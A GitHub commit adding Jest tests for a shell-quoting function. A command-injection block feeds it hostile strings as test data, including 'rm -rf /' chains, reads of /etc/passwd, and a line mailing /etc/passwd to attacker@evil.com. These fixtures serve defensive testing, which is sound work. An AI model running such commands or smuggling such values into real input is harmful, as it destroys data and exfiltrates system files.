Skip to content

Commit 0c743cc

Browse files
committed
chore(command-injection): add proper tests
1 parent eefb0ba commit 0c743cc

File tree

1 file changed

+225
-0
lines changed

1 file changed

+225
-0
lines changed
Lines changed: 225 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,225 @@
1+
import { describe, expect, it } from '@jest/globals';
2+
import { quote } from './quote';
3+
4+
describe('quote', () => {
5+
describe('empty string handling', () => {
6+
it("should return $'' for empty string", () => {
7+
expect(quote('')).toBe(`$''`);
8+
});
9+
});
10+
11+
describe('safe strings (no escaping needed)', () => {
12+
it('should return unchanged for alphanumeric strings', () => {
13+
expect(quote('hello')).toBe('hello');
14+
expect(quote('test123')).toBe('test123');
15+
expect(quote('HelloWorld')).toBe('HelloWorld');
16+
});
17+
18+
it('should return unchanged for strings with allowed special characters', () => {
19+
expect(quote('file.txt')).toBe('file.txt');
20+
expect(quote('/path/to/file')).toBe('/path/to/file');
21+
expect(quote('user@domain.com')).toBe('user@domain.com');
22+
expect(quote('key=value')).toBe('key=value');
23+
expect(quote('some-file-name')).toBe('some-file-name');
24+
expect(quote('path/file.ext')).toBe('path/file.ext');
25+
});
26+
27+
it('should return unchanged for mixed safe characters', () => {
28+
expect(quote('user123@example.com')).toBe('user123@example.com');
29+
expect(quote('/home/user/file-name.txt')).toBe('/home/user/file-name.txt');
30+
expect(quote('config=value123')).toBe('config=value123');
31+
});
32+
});
33+
34+
describe('unsafe strings (escaping required)', () => {
35+
describe('whitespace characters', () => {
36+
it('should escape spaces', () => {
37+
expect(quote('hello world')).toBe(`$'hello world'`);
38+
});
39+
40+
it('should escape tab characters', () => {
41+
expect(quote('hello\tworld')).toBe(`$'hello\\tworld'`);
42+
});
43+
44+
it('should escape newline characters', () => {
45+
expect(quote('hello\nworld')).toBe(`$'hello\\nworld'`);
46+
});
47+
48+
it('should escape carriage return characters', () => {
49+
expect(quote('hello\rworld')).toBe(`$'hello\\rworld'`);
50+
});
51+
52+
it('should escape vertical tab characters', () => {
53+
expect(quote('hello\vworld')).toBe(`$'hello\\vworld'`);
54+
});
55+
56+
it('should escape form feed characters', () => {
57+
expect(quote('hello\fworld')).toBe(`$'hello\\fworld'`);
58+
});
59+
});
60+
61+
describe('quote characters', () => {
62+
it('should escape single quotes', () => {
63+
expect(quote("hello'world")).toBe(`$'hello\\'world'`);
64+
expect(quote("it's")).toBe(`$'it\\'s'`);
65+
});
66+
67+
it('should escape double quotes', () => {
68+
expect(quote('hello"world')).toBe(`$'hello\\"world'`);
69+
expect(quote('"quoted"')).toBe(`$'\\"quoted\\"'`);
70+
});
71+
72+
it('should escape mixed quotes', () => {
73+
expect(quote(`hello"world'test`)).toBe(`$'hello\\"world\\'test'`);
74+
});
75+
});
76+
77+
describe('backslash characters', () => {
78+
it('should escape backslashes', () => {
79+
expect(quote('hello\\world')).toBe(`$'hello\\\\world'`);
80+
expect(quote('C:\\path\\to\\file')).toBe(`$'C:\\\\path\\\\to\\\\file'`);
81+
});
82+
});
83+
84+
describe('null characters', () => {
85+
it('should escape null characters', () => {
86+
expect(quote('hello\0world')).toBe(`$'hello\\0world'`);
87+
});
88+
});
89+
90+
describe('special shell characters', () => {
91+
it('should escape parentheses', () => {
92+
expect(quote('hello(world)')).toBe(`$'hello(world)'`);
93+
});
94+
95+
it('should escape brackets', () => {
96+
expect(quote('hello[world]')).toBe(`$'hello[world]'`);
97+
});
98+
99+
it('should escape braces', () => {
100+
expect(quote('hello{world}')).toBe(`$'hello{world}'`);
101+
});
102+
103+
it('should escape semicolons', () => {
104+
expect(quote('cmd1;cmd2')).toBe(`$'cmd1;cmd2'`);
105+
});
106+
107+
it('should escape pipes', () => {
108+
expect(quote('cmd1|cmd2')).toBe(`$'cmd1|cmd2'`);
109+
});
110+
111+
it('should escape ampersands', () => {
112+
expect(quote('cmd1&cmd2')).toBe(`$'cmd1&cmd2'`);
113+
});
114+
115+
it('should escape dollar signs', () => {
116+
expect(quote('$variable')).toBe(`$'$variable'`);
117+
});
118+
119+
it('should escape asterisks', () => {
120+
expect(quote('*.txt')).toBe(`$'*.txt'`);
121+
});
122+
123+
it('should escape question marks', () => {
124+
expect(quote('file?.txt')).toBe(`$'file?.txt'`);
125+
});
126+
});
127+
128+
describe('complex escape scenarios', () => {
129+
it('should handle multiple escape characters', () => {
130+
expect(quote('hello\n\t"world"')).toBe(`$'hello\\n\\t\\"world\\"'`);
131+
});
132+
133+
it('should handle backslashes with quotes', () => {
134+
expect(quote(`path\\to\\"file"`)).toBe(`$'path\\\\to\\\\\\"file\\"'`);
135+
});
136+
137+
it('should handle all escape characters together', () => {
138+
const input = `test\\\n\r\t\f\v\0"'`;
139+
const expected = `$'test\\\\\\n\\r\\t\\f\\v\\0\\"\\''`;
140+
expect(quote(input)).toBe(expected);
141+
});
142+
});
143+
144+
describe('edge cases', () => {
145+
it('should handle strings with only special characters', () => {
146+
expect(quote('!@#$%^&*()')).toBe(`$'!@#$%^&*()'`);
147+
});
148+
149+
it('should handle Unicode characters', () => {
150+
expect(quote('hello🌍world')).toBe(`$'hello🌍world'`);
151+
expect(quote('café')).toBe(`$'café'`);
152+
});
153+
154+
it('should handle very long strings', () => {
155+
const longString = 'a'.repeat(1000) + ' ' + 'b'.repeat(1000);
156+
const result = quote(longString);
157+
expect(result).toBe(`$'${'a'.repeat(1000)} ${'b'.repeat(1000)}'`);
158+
});
159+
});
160+
161+
describe('command injection prevention', () => {
162+
it('should escape command chaining with &&', () => {
163+
const maliciousInput = 'fast" && touch $HOME/Desktop/test.txt || echo "';
164+
expect(quote(maliciousInput)).toBe(`$'fast\\" && touch $HOME/Desktop/test.txt || echo \\"'`);
165+
});
166+
167+
it('should escape command chaining with ||', () => {
168+
const maliciousInput = 'file" || rm -rf / && echo "safe';
169+
expect(quote(maliciousInput)).toBe(`$'file\\" || rm -rf / && echo \\"safe'`);
170+
});
171+
172+
it('should escape command substitution with backticks', () => {
173+
const maliciousInput = 'file`rm -rf /`name';
174+
expect(quote(maliciousInput)).toBe(`$'file\`rm -rf /\`name'`);
175+
});
176+
177+
it('should escape command substitution with $(...)', () => {
178+
const maliciousInput = 'file$(rm -rf /)name';
179+
expect(quote(maliciousInput)).toBe(`$'file$(rm -rf /)name'`);
180+
});
181+
182+
it('should escape pipe commands', () => {
183+
const maliciousInput = 'input | cat /etc/passwd';
184+
expect(quote(maliciousInput)).toBe(`$'input | cat /etc/passwd'`);
185+
});
186+
187+
it('should escape redirections', () => {
188+
const maliciousInput = 'input > /tmp/malicious.txt';
189+
expect(quote(maliciousInput)).toBe(`$'input > /tmp/malicious.txt'`);
190+
});
191+
192+
it('should escape variable expansion attempts', () => {
193+
const maliciousInput = 'path/$HOME/sensitive';
194+
expect(quote(maliciousInput)).toBe(`$'path/$HOME/sensitive'`);
195+
});
196+
197+
it('should escape semicolon command separation', () => {
198+
const maliciousInput = 'safe; rm -rf /; echo done';
199+
expect(quote(maliciousInput)).toBe(`$'safe; rm -rf /; echo done'`);
200+
});
201+
202+
it('should escape complex injection with mixed operators', () => {
203+
const maliciousInput = 'file"; cat /etc/passwd | mail attacker@evil.com && rm -rf / || echo "done';
204+
expect(quote(maliciousInput)).toBe(
205+
`$'file\\"; cat /etc/passwd | mail attacker@evil.com && rm -rf / || echo \\"done'`,
206+
);
207+
});
208+
209+
it('should escape newline-based injection', () => {
210+
const maliciousInput = 'safe\nrm -rf /\necho injected';
211+
expect(quote(maliciousInput)).toBe(`$'safe\\nrm -rf /\\necho injected'`);
212+
});
213+
214+
it('should escape null byte injection', () => {
215+
const maliciousInput = 'safe\0rm -rf /';
216+
expect(quote(maliciousInput)).toBe(`$'safe\\0rm -rf /'`);
217+
});
218+
219+
it('should escape environment variable injection', () => {
220+
const maliciousInput = 'PATH=/tmp:$PATH; malicious-script';
221+
expect(quote(maliciousInput)).toBe(`$'PATH=/tmp:$PATH; malicious-script'`);
222+
});
223+
});
224+
});
225+
});

0 commit comments

Comments
 (0)